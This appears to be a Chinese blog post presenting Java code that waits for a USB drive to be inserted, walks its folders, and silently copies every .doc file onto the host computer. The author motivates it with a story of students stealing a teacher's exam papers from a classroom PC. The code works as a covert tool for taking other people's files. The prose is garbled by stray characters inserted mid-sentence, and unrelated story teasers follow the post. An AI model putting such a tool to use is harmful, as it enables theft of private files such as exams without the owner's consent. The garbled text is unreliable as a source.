拷貝U盤里的文件到電腦 - 好玩的代碼

在大一將近考試的時候枫攀,聽王金亮王老師講學(xué)生考試作弊的事。其中講了一個小故事挺有意思禽笑,一般教室里都會有一臺電腦,老師來上課的時候一般就把自己的課件放在自己U盤里然后帶過來蛤奥,插到電腦里就可以講課了佳镜,然后有學(xué)生就想寫個程序把老師U盤里的試卷給拷出來。當(dāng)然老師講的時候順便也說了凡桥,他的U盤有加固加密啥的蟀伸,不會被拷出去。這里呢缅刽,我就把這個小程序?qū)懗鰜怼?/p>

思路

  1. 把文件從U盤拷進(jìn)電腦啊掏,說到底就是文件復(fù)制粘貼,不同的是這件事由程序來做衰猛。
  2. 復(fù)制粘貼的前提是遍歷U盤的所有文件找到合適的迟蜜,遍歷的過程中,如果是文件夾就繼續(xù)遍歷啡省,如果是文件就進(jìn)行處理娜睛。
  3. 還要考慮的事情是時刻監(jiān)聽是否有U盤插入,如果有U盤插入卦睹,立即啟動文件復(fù)制畦戒。
  4. 然后要考慮的事情是對方U盤里的東西實在太多,太大结序,在有限時間內(nèi)如果先復(fù)制了無用的東西障斋,就有可能耽誤了比較重要的事情。

總結(jié):先看是否插了U盤笼痹,插了的話就遍歷U盤里的所有文件配喳,查看是否匹配,匹配了就轉(zhuǎn)移到電腦里凳干。

實現(xiàn)

文件拷貝

設(shè)置好源文件位置晴裹,設(shè)置好目的文件位置就可以復(fù)制了。

     //轉(zhuǎn)移操作
    private static void transfer(String sourceDir, String targetDir, String filename) {
        try {

            File target = new File(targetDir + filename);
            File source = new File(sourceDir + filename);

            //Files類超級強(qiáng)大
            Files.copy(source.toPath(), target.toPath(), StandardCopyOption.REPLACE_EXISTING, StandardCopyOption.COPY_ATTRIBUTES);
        } catch (Exception e) {
            e.printStackTrace();

        }
    }

監(jiān)聽操作

這個需要事先看好插入U盤之后顯示的盤符是什么救赐,如果該盤符存在了涧团,則說明U盤插進(jìn)來了。然后檢查操作每十秒執(zhí)行一次经磅。

public static void main(String[] args) {
        
        while(true) {
            
            try{
                File sourceFile = new File(sourceFileStr);
                if(sourceFile.exists()) {
                    traverse(sourceFile);
                    break;
                }
                System.out.println("hello");
                Thread.sleep(1000 * 10);
            }catch(InterruptedException e) {
                e.printStackTrace();
            } 
        }
    }

遍歷U盤泌绣、匹配文件類型

這里就看文件后綴,如果你想要文檔的話预厌,就限定.doc阿迈、.docx、.ppt轧叽、.xls 苗沧、.xlsx等刊棕,如果想要圖片就找圖片的后綴等等。

private static void traverse(File root) {
        if (root.isDirectory()) {
            File[] qsqList = root.listFiles();
            for (File file:qsqList) {
                traverse(file);
            }
        }
        else {
            String regex = "[\\S]+.doc";
            Pattern pattern = Pattern.compile(regex);
            Matcher matcher = pattern.matcher(root.toString());
            if (matcher.matches()) {
                System.out.println(root.toString());

                int index = root.toString().lastIndexOf("/");
                String filename = root.toString().substring(index,root.toString().length());
                String sourceDir = root.toString().substring(0, index);
                transfer(sourceDir, targetFileStr, filename);
            }
        }
    }

最后

好吧待逞,聽起來很牛逼甥角,實際上也就這么回事。打完收工~

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末识樱,一起剝皮案震驚了整個濱河市嗤无,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌怜庸,老刑警劉巖当犯,帶你破解...
    沈念sama閱讀 223,002評論 6 519
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異割疾,居然都是意外死亡灶壶,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,357評論 3 400
  • 文/潘曉璐 我一進(jìn)店門杈曲,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人胸懈,你說我怎么就攤上這事担扑。” “怎么了趣钱?”我有些...
    開封第一講書人閱讀 169,787評論 0 365
  • 文/不壞的土叔 我叫張陵涌献,是天一觀的道長。 經(jīng)常有香客問我首有,道長燕垃,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 60,237評論 1 300
  • 正文 為了忘掉前任井联,我火速辦了婚禮卜壕,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘烙常。我一直安慰自己轴捎,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 69,237評論 6 398
  • 文/花漫 我一把揭開白布蚕脏。 她就那樣靜靜地躺著侦副,像睡著了一般。 火紅的嫁衣襯著肌膚如雪驼鞭。 梳的紋絲不亂的頭發(fā)上秦驯,一...
    開封第一講書人閱讀 52,821評論 1 314
  • 那天,我揣著相機(jī)與錄音挣棕,去河邊找鬼译隘。 笑死亲桥,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的细燎。 我是一名探鬼主播两曼,決...
    沈念sama閱讀 41,236評論 3 424
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼玻驻!你這毒婦竟也來了悼凑?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 40,196評論 0 277
  • 序言:老撾萬榮一對情侶失蹤璧瞬,失蹤者是張志新(化名)和其女友劉穎户辫,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體嗤锉,經(jīng)...
    沈念sama閱讀 46,716評論 1 320
  • 正文 獨居荒郊野嶺守林人離奇死亡渔欢,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,794評論 3 343
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了瘟忱。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片奥额。...
    茶點故事閱讀 40,928評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖访诱,靈堂內(nèi)的尸體忽然破棺而出垫挨,到底是詐尸還是另有隱情,我是刑警寧澤触菜,帶...
    沈念sama閱讀 36,583評論 5 351
  • 正文 年R本政府宣布九榔,位于F島的核電站,受9級特大地震影響涡相,放射性物質(zhì)發(fā)生泄漏哲泊。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,264評論 3 336
  • 文/蒙蒙 一催蝗、第九天 我趴在偏房一處隱蔽的房頂上張望切威。 院中可真熱鬧,春花似錦丙号、人聲如沸牢屋。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,755評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽烙无。三九已至,卻和暖如春遍尺,著一層夾襖步出監(jiān)牢的瞬間截酷,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,869評論 1 274
  • 我被黑心中介騙來泰國打工乾戏, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留迂苛,地道東北人三热。 一個月前我還...
    沈念sama閱讀 49,378評論 3 379
  • 正文 我出身青樓,卻偏偏與公主長得像三幻,于是被迫代替她去往敵國和親就漾。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,937評論 2 361

推薦閱讀更多精彩內(nèi)容

  • linux資料總章2.1 1.0寫的不好抱歉 但是2.0已經(jīng)改了很多 但是錯誤還是無法避免 以后資料會慢慢更新 大...
    數(shù)據(jù)革命閱讀 12,176評論 2 33
  • Ubuntu的發(fā)音 Ubuntu首妖,源于非洲祖魯人和科薩人的語言,發(fā)作 oo-boon-too 的音爷恳。了解發(fā)音是有意...
    螢火蟲de夢閱讀 99,374評論 9 467
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理有缆,服務(wù)發(fā)現(xiàn),斷路器温亲,智...
    卡卡羅2017閱讀 134,720評論 18 139
  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,341評論 25 707
  • 親愛的寶貝棚壁,今天是你一歲生日。也是你人生中收到的第一封信栈虚。你出生之前媽媽都一直在規(guī)劃你每年的生日該以一個什么...
    Maggie0102閱讀 481評論 4 2